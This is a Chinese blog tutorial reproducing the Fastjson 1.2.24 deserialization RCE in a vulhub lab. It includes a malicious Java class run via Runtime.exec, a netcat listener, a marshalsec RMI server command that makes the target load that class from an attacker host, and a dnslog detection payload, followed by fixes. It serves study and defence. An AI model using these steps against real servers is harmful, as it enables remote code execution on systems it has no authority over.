Fastjson反序列化漏洞(1.2.24 RCE)

最新推荐文章于 2024-04-23 14:30:19 发布
最新推荐文章于 2024-04-23 14:30:19 发布
阅读量2.8k 收藏 8
点赞数 4
分类专栏： vulhub漏洞复现 文章标签： 网络安全 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_61506558/article/details/126818902
版权

目录

（一）Fastjson介绍

1、认识Fastjson

1.1 序列化

1.2  反序列化

1.3 @type 自省 Autotype

（二）漏洞原理

1、比较常用的攻击类

1.1  com.sun.rowset.JdbcRowSetImpl

1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

（三）1.2.24 RCE复现

1、vulnhub启动

注意：Linux配置JRE版本

2、攻击机监听（kali）

 3、恶意脚本准备与上传（kali）

1、编译成 class文件

2、启动HTTP服务器

4、LDAP服务启动（kali）

1、借助marshalsec项目，快速开启rmi或ldap服务

2、启动一个RMI服务器，监听9473端口，并制定加载远程类LinuxTouch.class：

5、Burp发送payload

 （四）漏洞原理（JdbcRowSetImpl利用链）

1、set方法

1. 1、setSourceName()

1.2、setAutoCommit()

(五）漏洞挖掘

1、思路

1.1 找到发送JSON序列化数据的接口

1.2  判断是否使用fastjon

(六）修复方案

1、升级JDK

2、升级Fastjson到最新版

3、使用安全产品过滤非法内容

4、更换其它序列化工具

（一）Fastjson介绍

1、认识Fastjson

        Fastjson是一个JSON工具库,它的作用就是把java对象转换为json形式，也可

以用来将 json 转换为 java 对象。

1.1 序列化

        序列化的时候，会调用成员变量的get方法，私有成员变量不会被序列化,注意它不包括类名。
eg: 
String text-JSON.toJSONString(obj);//序列化

{name='jinyouxin', age=66, flag=true, sex='boy',address='null'}

1.2  反序列化

        反序列化 的时候， 会调用成员变量的set方法, publibc修饰的成员全部自动赋值。
  • JSON.parseObject
        返回实际类型对象（用得更多）,后面接想要反序列的类型, 返回实际类型对象 .

eg:

User user4 = JSON.parseObject( serializedStr, User.class);
  • JSON.parse
        JSON.parse() 返回JsonObject对象
eg: 
Object obj1 =JSON.parse(serializedStr);

1.3 @type 自省 Autotype

        引入这个功能的目的是在序列化的时候防止子类中包含接口或抽象类的时候，类型丢失，这样我们在反序列化的时候就不需要再指定类名。

eg:

之前我们序列化对象时： {name='jinyouxin', age=66, flag=true, sex='boy', address='null'}
现在我们引入了自省后为  {" @type ":" com.jinyouxin.test.User ","age":33,"flag":false,"name":"wuya"}
        漏洞在这里就发生了，@type中提供了对对象反序列化的类型定义，我们就可以修改此内容的值。

（二）漏洞原理

        fastjson在对 JSON 字符串进行反序列化的时候，会读取 @type 的内容，试图把 JSON 内容反序列化成这个对象，并且会调用这个类的set方法， 利用这个特性，构造一个 JSON 字符串，并且使 用 @type 反序列化一个自己想要使用的 攻击类库

1、比较常用的攻击类

1.1  com.sun.rowset.JdbcRowSetImpl

        这是sun 官方提供的一个类库，这个类的 dataSourceName 支持传入一个rmi 的源，当解析这个 uri 的时候，就会支持 rmi远程调用 ，去指定的rmi 地址中去调用方法

1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

原理同上

（三）1.2.24 RCE复现

1、vulnhub启动

  1. cd fastjson/1.2.24-rce
  2. docker-compose build
  3. docker-compose up -d

 

访问端口：

 

注意：Linux配置JRE版本

vim /etc/profile
export
JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export
CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HO
ME/lib/tools.jar
source /etc/profile

2、攻击机监听（kali）

nc -lvp 9001

之前在Redis未授权漏洞介绍过反弹连接，在这里就是启动此环境

 3、恶意脚本准备与上传（kali）

1、编译成 class文件

编译恶意代码，通过javac LinuxRevers 编译成class文件，将编译好的class上传至你的web服务器，地址为http://yours_ip/exp/LinuxTouch.class

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}

        仔细阅读代码不难发现，只要下载代码，里面有main方法，就要执行恶意代码，攻击执行

2、启动HTTP服务器

  • python -m http.server 8089                                py3
  • python –m SimpleHTTPServer 8088                 py2

        启动http服务的目的是给LinuxTouch.class提供下载，假如我们在浏览器直接输入url时,它就会自动下载.class文件。

4、LDAP服务启动（kali）

1、借助marshalsec项目，快速开启rmi或ldap服务

git clone https://github.com/mbechler/marshalsec #下载marshalsec
apt install maven #下载maven，使用maven进行编译jar包
cd marshalsec mvn clean package ‐DskipTests

2、启动一个RMI服务器，监听9473端口，并制定加载远程类LinuxTouch.class：

        我们可以把它理解为中介，如果有人访问9473端口的话，就让这个人访问LinuxTouch.class，把它自动下载到本地。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473

 

5、Burp发送payload

        

        我们先用POST访问 8090 的端口，本网页可以接收序列化和反序列化的接口，它就拿到下面的内容进行反序列化，@type 具有自醒的功能，在反序列化的过程中，它会连接到本机已经在kali里面已经启动好的RMI的服务，RMI让它去访问下载LinuxTouch.class文件，这样攻击就发生了。

 

 （四）漏洞原理（JdbcRowSetImpl利用链）

        经过上面的漏洞复现，我们大致可以理解漏洞执行的过程，接下来就要具体分析里面方法是怎么 "connect"的

1、set方法

        我们想要把二个属性 dataSourceName 和 autoCommit 反序列化成JdbcRowSetImpl类,要调用setDataSourceName()和setAutoCommit()的方法。

1. 1、setSourceName()

         给数据源的名字进行赋值。

1.2、setAutoCommit()

connect()的方法就危险!!!

         JNDI一旦调用lookup()方法，就会连接到LDAP/RMI服务器,下载恶意代码到本地，执行，攻击发生.

(五）漏洞挖掘

1、思路

1.1 找到发送JSON序列化数据的接口

1.2  判断是否使用fastjon

  • 1）非法格式报错
{"x":"

 

  • 2）使用dnslog探测
{"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

(六）修复方案

1、升级JDK

 

6u211 / 7u201 / 8u191 /11.0.1

2、升级Fastjson到最新版

fastjson.parser.safeMode=true

3、使用安全产品过滤非法内容

4、更换其它序列化工具

Jackson/Gson

@Camelus
关注
  • 4
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
Fastjson小于1.2.67 UnSerializable RCE分析研究
12-20
开篇前言 从2018年2月的第一篇文章开始到现在已经发布了946篇原创文章，时隔2年零2个月，博客粉丝达到了3000人，很是感谢大家的支持以及对笔者博客的喜爱，后续笔者也将用心撰写更加有质量的博客与广大IT领域的人员进行深度交流，为了答谢广大的粉丝，本次奉上一篇最近写的Fastjson反序列化漏洞文章，以此作为致谢~ 影响范围 Fastjson<=1.2.66 漏洞类型 反序列化导致RCE 利用条件 开启autotype 漏洞概述 Fastjson是阿里巴巴的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串
漏洞复现 - - - Fastjson反序列化漏洞
weixin_67503304的博客
08-25 6186
简单讲解Fastjson反序列化漏洞，简单讲述漏洞利用shell
fastjson 1.2.24/1.2.47漏洞复现
yy
01-09 6164
当我们在渗透测试中，抓包的时候发现返回的流量内容存在json格式时，我们就可以想它是不是使用了fastjson库
fastjson反序列化漏洞
qq_63980959的博客
03-01 1031
​ Fastjson是一款开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。​ fastjson反序列化与weblogic、shiro反序列化类似，在客户端将json数据进行序列化传送至服务端后，服务端会将其反序列化读取其中数据，若客户端操控json数据，加入一些恶意类方法、代码，则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式，也存在着被绕过的风险。
java 反序列化利用工具marshalsec-0.0.3-SNAPSHOT-all
12-27
marshalsec命令格式如下： java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] 参数说明： -a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin） -t：对生成的payloads进行解码测试 -v：verbose mode, 展示生成的payloads gadget_type：指定使用的payload arguments - payload运行时使用的参数 marshalsec.<marshaller>：指定exploits，根目录下的java文件名
高版本的fastjson-1.2.71解决安全漏洞.rar
04-14
高版本的fastjson-1.2.71解决安全漏洞
Fastjson反序列化漏洞
m0_67401761的博客
09-11 1万+
深知大多数初中级Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则近万的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《Java开发全套学习资料》送给大家，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。
fastjson反序列化漏洞学习(一)
一剑开天门！的博客
02-10 3551
Fastjson 反序列化漏洞产生的原因通常是由于 Fastjson 库在反序列化 JSON 数据时存在安全漏洞。这些漏洞可以被攻击者利用来执行任意代码、访问系统文件、读取敏感数据等危险操作。
java 反序列化利用工具 marshalsec 使用简介
热门推荐
whatday的专栏
08-11 2万+
命令格式 marshalsec命令格式如下： java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] 参数说明： -a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, Spri
fastjson1.2.47远程代码漏洞解决方案.rar
07-12
fastjson版本低于1.2.47出现的远程代码漏洞解决方案。
springmvc fastjson 反序列化时间格式化方法(推荐)
10-20
下面小编就为大家带来一篇springmvc fastjson 反序列化时间格式化方法(推荐)。小编觉得挺不错的，现在就分享给大家，也给大家做个参考。一起跟随小编过来看看吧
Fastjson各版本反序列化EXP 1.2.24 1.2.41 1.2.42 1.2.43 1.2.45 48 62 66
03-29
![img](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Fastjson/Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/PIC/index.png) # Fastjson<=1.2.47反序列化漏洞为例 1、此时/tmp目录 ![img](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Fastjson/Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/PIC/tmp.png) 2、编译Exploit.java javac
Java-Deserialization-Cheat-Sheet:关于Java反序列化漏洞的备忘单
05-02
Java反序列化备忘单 面向渗透测试人员和研究人员的备忘单，其中涉及各种Java（JVM）序列化库中的反序列化漏洞。 请使用#javadeser哈希标签进行鸣叫。 表中的内容 json-io（JSON） 杰克逊（JSON） Fastjson（JSON） Genson（JSON） Flexjson（JSON） 乔德（JSON） 红色5 IO AMF（AMF） Apache Flex BlazeDS（AMF） 火烈鸟AMF（AMF） GraniteDS（AMF） Java WebORB（AMF） SnakeYAML（YAML） jYAML（YAML） YamlBeans（YAML） “安全”反序列化 Java本机序列化（二进制） 概述 Java反序列化安全性常见问题解答 来自Foxgloves安全 主要演讲，演讲和文档 编组泡菜 通过@frohoff ＆
Fastjson反序列化漏洞史1
08-03
Fastjson 反序列化漏洞史2020年05月08日漏洞分析 (/category/vul-analysis/) · 404专栏 (/category/404
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8190
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
vue2 顶象 安全 验证码的使用
lele66688888的博客
04-23 319
类似与这样的登录之前的验证 滑动一个盒子了 或者是 顺序点击文字了 等。
RTU遥测终端为城市排水安全保驾护航！
最新发布
mantoo2014的博客
04-23 479
漫途多参数遥测终端MTW46-10-4A与低功耗遥测终端M4315，能够实时在线监测城市下水管道、涵洞、水浸点及河道的水位状况，同时精准采集水位、流量、流速和水质等数据。一旦监测到险情，平台会通过手机APP、短信通知以及现场声光报警器等多种方式，向城市管理者发出预警，从而有效预防和应对各类排水问题，确保城市排水系统的安全、稳定运行。漫途低功耗远程采集终端M4315是一款实现数据采集、远程传输、远程运维的智能设备，具有功耗低、体积小巧、盲区小、安装便捷等特点，适用于地下管网、雨水井等特殊环境的工业级设备。
fastjson反序列化漏洞_Fastjson反序列化漏洞的检测和利用
05-21
Fastjson是一款Java语言编写的高性能JSON处理器，被广泛应用于各种Java应用程序中。然而，Fastjson存在反序列化漏洞，黑客可以利用该漏洞实现远程代码执行，因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法： 1. 扫描源代码，搜索是否存在Fastjson相关的反序列化代码，如果存在，则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描：目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测，例如：AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法： 1. 利用Fastjson反序列化漏洞执行远程命令：黑客可以构造一个恶意JSON字符串，通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取：黑客可以构造一个恶意JSON字符串，通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell：黑客可以构造一个恶意JSON字符串，通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法： 1. 更新Fastjson版本：Fastjson官方在1.2.46版本中修复了反序列化漏洞，建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化：如果应用程序中不需要使用Fastjson反序列化功能，建议禁止使用该功能，可以使用其他JSON处理器。 3. 输入验证：对所有输入进行校验和过滤，确保输入数据符合预期，避免恶意数据进入系统。 4. 序列化过滤：对敏感数据进行序列化过滤，确保敏感数据不会被序列化。 5. 安全加固：对系统进行安全加固，如限制系统权限、加强访问控制等，避免黑客利用Fastjson反序列化漏洞获取系统权限。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值